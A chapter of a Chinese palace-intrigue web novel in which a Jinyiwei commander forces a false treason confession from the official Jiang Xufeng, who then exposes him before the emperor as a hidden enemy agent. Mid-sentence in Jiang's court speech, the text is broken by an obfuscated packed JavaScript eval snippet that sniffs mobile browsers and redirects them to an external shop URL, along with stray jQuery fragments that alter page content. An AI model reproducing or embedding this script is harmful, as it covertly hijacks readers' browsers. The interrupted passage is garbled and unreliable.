林画月跪倒在泥地中，她不敢置信地看着林采陶：“你……为什么？”


    没有回答，傀儡军顷刻追赶上来将她团团围住，无数黑洞洞的枪筒对准她，她闭上眼，等待死亡裁决的巨响。


    大地突然震颤出低鸣，一个背着斗笠的白发老者从天而降，老者手持双剑，所有人还未看清他的动作，磅礴的剑势已经排山倒海向前冲压，仅仅一挥间，数百名傀儡头颅齐断，鲜血喷涌成泉。


    “师父……”


    林画月如释重负地倒下，落入后方一个温暖有力的怀抱。


    —


    尚宣看着眼前这个他用尽手段却依然撬不开嘴的江叙风，心里十分脑火。


    天已经亮了，留给他的时间不多了。


    不知为何皇上突然对他没有了耐心，夜下急诏，尚宣接旨后连夜赶到诏狱，他前脚刚进诏狱，刑部的人后脚就在诏狱外边候着了。


    “指挥使，”一个锦衣卫匆匆赶来，“刑部又在催了，问我们何时移交人犯。”


    “急什么？还有一刻钟才到卯时，让他们等着！”


    “是。”


    尚宣面色铁青地将江叙风从水缸中捞出来掼在地上：“江叙风，有时候骨头太硬不是件好事。”


    江叙风呛咳出肺部的水，伏在地上喘息。


    “我本不想走到这一步，现在看来不用不行了，”尚宣从怀中掏出一封信，蹲下身将信展开在江叙风面前，“我做梦也想不到，林祁胆子竟然如此之大，北伐时敢私调烟州卫？这事若是捅出去，莫说林祁出家为僧，就算他死了，陛下也要掘地三尺把他挖出来鞭尸示警！至于林画月嘛——”


    江叙风眼皮一颤。


    尚宣嗤笑：“这封林祁向烟州卫穆指挥使请求调兵的亲笔信，你说，一会儿我把你交给刑部时，将这封信一起交给他们如何？”


    江叙风吃力地睁开眼，他从头到尾将信看了许多遍，眼眸中的麻木与平静逐渐被绝望取代。


    “不……”他颤抖着伸出手。


    信纸在江叙风指尖一触及过，尚宣站起身，神情倨傲：“让我们猜猜，是你的嘴更硬，还是林画月的命更硬？”


    “就算我按照你说的做，你最终还是会把信交给陛下，不是吗？”


    “不好说，但是你有得选吗？”尚宣大笑，“江大人工于人心，这次要不要来赌一赌尚某的良心？”


    片刻沉寂后，江叙风叹息一声：“……写吧，我的供状。”


    尚宣拍拍手，喜上眉梢：“识时务者为俊杰，江大人是个懂道理的。”


    “我只有一个请求，除了你，其他人不可在场。”江叙风双目微阖，“读书人立于世，唯不愿毁节，在我死前为我留份体面吧……”


    “陛下命刑部监审，提写供状时必须有刑部的人在场。”


    “那就除了你和刑部……不要有第四人在场。”


    尚宣眯起眼打量江叙风，石室外再次响起刚刚那个锦衣卫为难的声音：“指挥使，刑部尚书亲自来了，尚书大人问——”


    “告诉他们，”尚宣扬声，“人犯招了。”


    石室摆开一张案桌，两把椅子，尚宣坐于案桌前，将江叙风说的每句话都一一记录下来。案桌左上角，一柱即将见底的烟袅袅燃烧，刑部尚书坐在案边：“还有什么该在供状上写清楚的，尚指挥使得抓紧些了，这柱香燃尽，人犯可就归我们刑部了。”


    尚宣不搭理，只埋头奋笔疾书，时间太过紧迫，他甚至顾不上蘸墨，好些字的笔画都墨迹干涩。


    最后一缕香烟消散时，尚宣落下最后一字，他将供状举到江叙风面前：“这是你刚刚交代的，关于你何时何地因何与北燚勾连的供述，没问题就盖手印吧。”


    江叙风看了一眼，无力地垂下头。


    尚宣抓起江叙风的手在供状上盖上手印。


    刑部尚书起身：“尚指挥使此番雷厉风行，本官钦佩啊。”


    尚宣收好供状：“应该的。”


    “陛下要亲自审阅此案，尤公公已等候在外，尚指挥使需带上人犯、供状、还有搜查到的罪证上殿面圣，请吧。”


    尚宣哼笑：“我掌管锦衣卫多年，流程比大人更清楚，不必提醒。案子是在锦衣卫手中收尾的，与刑部挨不着关系，还请大人回府歇息吧，不必相送。”


    —


    “皎皎，皎皎？”


    谁在叫她？这个声音听上去好熟悉，好……让人安心。


    林画月在混沌中睁开眼，逐渐清晰的视野中出现一张沧桑的脸。


    “爹爹……”林画月想坐起来，可刚一动，胸口靠近心脏的位置牵扯出剧痛。


    “醒了？”司徒老头闻声推门而入，手里端着碗苦药，“鬼丫头，趁热喝了吧。”


    林画月：“师父呢？”


    “忙着呢，在前头收钱，春华嫩玉膏卖完之前他可没空看你。”司徒老头端着碗再次往前递了递，“赶紧的！手都给我举酸了，小小年纪哪里来的虐待老人的恶习？”


    “……”林画月不情不愿接过碗，几番挣扎后一口闷下，正在她苦得直伸舌头时，林祁往她嘴里塞了颗甜梅。


    “爹爹，那个蒙面人是谁，你们看见了吗？”


    林祁摇头：“没有，我和你师父刚到，那个蒙面人立刻就离开了，甚至没有交上手，那样子看上去很赶时间。”


    赶时间？对了！她也赶时间。林画月掀开被子就要下床：“爹爹，那张布防图昨夜我看过了，是尚宣伪造来栽赃江叙风的，我这就进宫向陛下说明情况。”


    “晚了，”林祁将林画月按回床上，重新替她掖好被子，“这个案子今早卯时已经结案了，江叙风供认不韪。江叙风位高权重，如今坐实通敌，实在太过耸人听闻，陛下下令结案最后一步要亲裁，尚宣早就押着江叙风进宫了。”


    “什么？！”林画月惊坐起，“他活腻了吗？没有做过的事情为什么要认啊！”


    林祁看着痛哭流涕、已然在崩溃边缘的女儿，叹息：“诏狱是个什么地方，那些碎肉捣骨的花样玩意儿，没人扛得住。”


    林画月想起昨夜江叙风死气沉沉的模样，他那么要体面，那么重姿容的人，要经历多少轮非人的折磨，才会变成那副样子？才会认下这桩暴尸曝业的罪行？林画月心如刀割，嚎啕大哭。


    晚了，一切都晚了。


    林画月仅剩的一点心气荡然无存，她颓然哑声问：“那……陛下定下的刑罚是什么？”


    “还没有定。”


    林画月一愣：“离卯时都过去两个时辰了，怎么会还没定？”


    “不清楚，目前为止，宫中确实是一点消息也没有。”


    两声敲门声响起，司徒老头再次推门而入：“那个瘦成猴儿的姑娘醒了。”


    林祁一凛：“采陶意识还清醒吗？”


    “清醒的，那姑娘知道她做了什么后，当即就要撞墙寻死，我这把老骨头好不容易才给她摁住，”司徒老头说，“我检查过了，她体内的蛊虫未喂满三十天，北燚的蛊虫相当稀缺，这种喂蛊半途而废的情况我还是第一次见。想必就是这个原因，蛊虫在宿主清醒时无法与宿主抢夺意识，可一旦宿主睡着或者昏迷，那就跟傀儡一样了。”


    说及此，司徒老头感慨：“老夫才来京师一个月，什么稀奇事都见识到了，跟随那姑娘灵车出殡驻陵的锦衣卫十天前刚从皇陵回京师，谁能想到今天啪一下，嘿！大变活人了！”


    “你说什么？”林画月止住眼泪。


    “老夫说，跟随那姑娘灵车出殡驻陵的锦衣卫十天前刚从皇陵回京师——”


    “爹爹！”林画月异常激动，她一把握住林祁的胳膊，“尚宣早把皇陵的锦衣卫养成了傀儡军，十天前回宫的那批锦衣卫绝对不是当时出殡的那批！”


    林画月手指在林祁胳膊上掐出红痕：“宫中不是没有消息，而是根本就传不出消息！”


    林祁一怔，霍然起身：“不好，兄长！”


    林画月不顾疼痛挣扎着下床：“我跟爹爹一起进宫！”


    “月姐姐，让我也一同去吧。”


    一道柔弱的女声响起，林画月寻声望去，林采陶扶着门框，摇摇晃晃站在外面，风一吹就能将她吹倒。


    最后一包春华嫩玉膏被抢空，司徒老头挂上打烊的木牌，隔着人群望着逐渐远去的三道人影。


    “哎，林祁这辈子算是被他哥用几个薯根套牢了，只是鬼丫头这么急吼吼地进宫做什么？连伤都不治了，我都怕她撑不到宫门就要血崩，宫里到底有谁在啊？”


    “你问我？”峰无沿面无表情坐在摇椅上，“我上街帮你打听打听？”


    司徒老头提起拐杖朝峰无沿狠戳几下，气急败坏：“你还有心思挤兑我？徒儿赶着送命，你这个做师父的不追上去？摇摇摇，老骨头给你揺散架！”


    “人心的执念是这世上最无能为力的东西，这是皎皎和林祁自己的选择。”峰无沿望着窗外皇宫方向，平静开口，“我还没来得及战胜那人，那人就进了那座吃人的地方，结果呢？堂堂天下第一剑圣，最后连骨头渣都不剩。那是座万人坟啊，这辈子，我可不想临头了还染上那里的腐臭。”


    峰无沿将斗笠盖在脸上，不再言语。


    —


    乾清宫。


    春意正浓，气温早已回暖，但大殿之上仍然燃着两个巨大的火盆。


    皇上裹着裘衣，唇色还是冷得发乌，他看完案卷后拿起供状，不知为何，这份供状他越看越觉得别扭。看到最后清晰鲜红的手印，皇上抬头：“江叙风，这份供状，你认吗？”


    江叙风跪地，双肘勉强撑起身体：“臣，不认。”


    尚宣霍然旋身，眼神灼利：“这供状可是在刑部的监督下，由我亲自按照你的供词书写而成，你逐字确认过，也亲手画押了，临到陛下跟前突然翻供，莫非你以为陛下天威可欺？这等反复之举，不仅是藐视公堂，更是欺君罔上！”


    “臣不敢辜负陛下的知遇之恩，更不敢误担倾覆家国山河之重，”江叙风匍匐行至白玉阶前，在青砖地上拖出两道刺眼的血痕，“只是大梁朝中有人大权在握却欺枉陛下，外托忠勤而内行反间。臣甘愿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627353|187120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以身为饵，助陛下铲除奸贼，清正朝纲！”


    “好大的胆子——”


    “尚宣！”皇上扬声掐断尚宣的断喝，他俯视着阶下的人，“说下去。”


    “有几样东西，请陛下过目。”江叙风说。


    “哦？在哪里？”


    尤公公捧着一方木匣从屏风后走出来，尚宣刚刚还耀武扬威的脸瞬间黑了下去。


    ——原来如此！难怪他搜遍京师每个角落什么也没有搜出来，原来这些东西早就被转移到了一个最安全的地方。他不该心存侥幸！


    皇上意味不明地瞥了眼尤公公，这才打开木匣，只见木匣中放着一张画像、两张户籍、三张字条。


    “这是后湖黄册库中顺统十年尚家的户籍，还有一份是备份在汴州府、顺统二年的尚家户籍，顺统二年这张户籍中显示，尚家根本没有尚宣这号人，尚宣所谓汴州府的户籍是作假。”江叙风说，“这张画像，是臣在穗州府从一个小厮手中偶然得到的，那名小厮从小在穗州府长大，画中人是他的哥哥。尚指挥使，你知道你有一个弟弟一直在家乡等你团聚吗？”


    尚宣咬紧后槽牙，颊侧肌肉暴凸，神色狰狞可怕。


    “可惜，你的弟弟直至被乱棍打死，也没有等来团聚。”


    皇上拿起三张字条，看着看着，他眉头紧锁：“这些是前朝太子与他的死士的书信？”


    尚宣高大的身影猛得一颤。


    “没错，陛下请看苏尔赫写给前朝太子这封，字迹是否眼熟？”江叙风说。


    皇上一顿，下意识拿过由尚宣亲写的那封供状对比，字迹竟然一模一样！皇上突然反应过来为何这封供状会让他觉得别扭，这上面的字迹与尚宣平日里呈上的密疏的字迹大相径庭。


    “刚刚尚指挥使亲口说了，这封供状是他在刑部的监督下亲笔所写，绝无作假可能，可见尚指挥使平日里的字迹都是刻意伪装的，咳咳……”一阵剧烈的呛咳后，江叙风掩唇继续，“可无论平日里字迹伪装得再好，在慌乱又时间紧迫之际难免无暇顾忌，我说的对吧，苏尔赫。”


    眼下什么都明了了，皇上极缓地压眼看向尚宣，那三张字条被他捏成团紧握在手心，他哼笑一声，眼底终于翻涌起被愚弄的震怒，皇上猛一挥袖，纸团抛掷空中，落地后骨碌骨碌滚至尚宣脚边。


    “尚宣！你就是这样报答朕的？！好！好得很！！”皇上怒极起身，可刚一站起，眼前骤然一黑，他赶紧弯腰扶住扶手，粘稠的黑色浊血从口鼻溢出。


    “陛下！陛下！龙体要紧啊！”尤公公惊呼奔上前。


    尚宣垂头不语，他蹲下将纸条捡起、展开，贴放在胸口。


    “呵……”尚宣闭上眼，满足地笑了笑，“陛下，我从无名之辈一路走到今天，离不开你的信赖，大梁有个词叫做知恩图报，我总该回馈你些什么。”


    尚宣摸出怀中的信，一步一步走上前：“你不是一直想杀了林祁，却又顾忌天下悠悠之口吗？这封林祁私调烟州军意图谋反的罪状，我献给你，另外，林画月昨夜被我引去西山别院，现在已经是具尸体了。有了这两样东西，你不仅能杀死林祁，还能让他死不瞑目，畅快吧！哈哈哈哈哈哈！”


    大笑声回荡在空旷的金殿之上，江叙风瞳孔颤动：“你说什么？”


    “瞧瞧江太傅这副肝肠寸断的样子，”尚宣笑得上气不接下气，“陛下，我好心再多嘱咐你一句，别太相信江叙风，他早就与林画月勾搭在一起了，你信他，就像你信我一样，不会有什么好结果


    “胡言乱语！”皇上撑着一口气怒喝。


    尚宣踏上玉阶，拾级而上。


    尤公公挡在皇上身前，惊惶高呼：“放肆！谁准你上来的？来人！来人！”


    殿外静悄悄，无人回应。


    “乾清宫已被我控制，不会有人来了，”尚宣左眼睑激动的快速抽搐起来，“林纪！你也有今天！”


    尚宣亮出尖刀，飞身向前！


    “陛下！”


    江叙风撑起残躯向前扑去，死死抱住尚宣小腿，尚宣被抱住的腿狠狠踹向江叙风胸口，江叙风呕出一口血却死不放手，尚宣再次抬腿猛踹后一拔，江叙风从玉阶摔下，怀中只剩尚宣的靴履。


    尚宣光着的脚在他面前一闪而过，那是一只只有三根脚趾的脚。


    尚宣将尤公公掀翻，尖刀抵在皇上咽喉：“好生看着，看我接下来怎么让你生不如死！”


    江叙风跪坐在地上，神情难得呆滞，半年前明州知府无足轻重的一句话突然此刻在他脑中炸响。


    ——“当时下官才十岁，在战乱中成了孤儿，于是和一对双胞胎兄弟一起抱团流落街头，那年大雪一下就是前所未有的寒冷，好多百姓都没捱过去冻死了，和下官一起的那对兄弟中的一人都被冻掉了两根脚趾！就在我们三人冻得快失去意识时，被云游到穗州府的张仲全大人所救。”


    难怪……难怪！


    “不好！”江叙风向殿门方向爬去，“太子殿下！”


    几乎是同时，隔着殿门，一个稚嫩的童声在哭喊：“父皇！”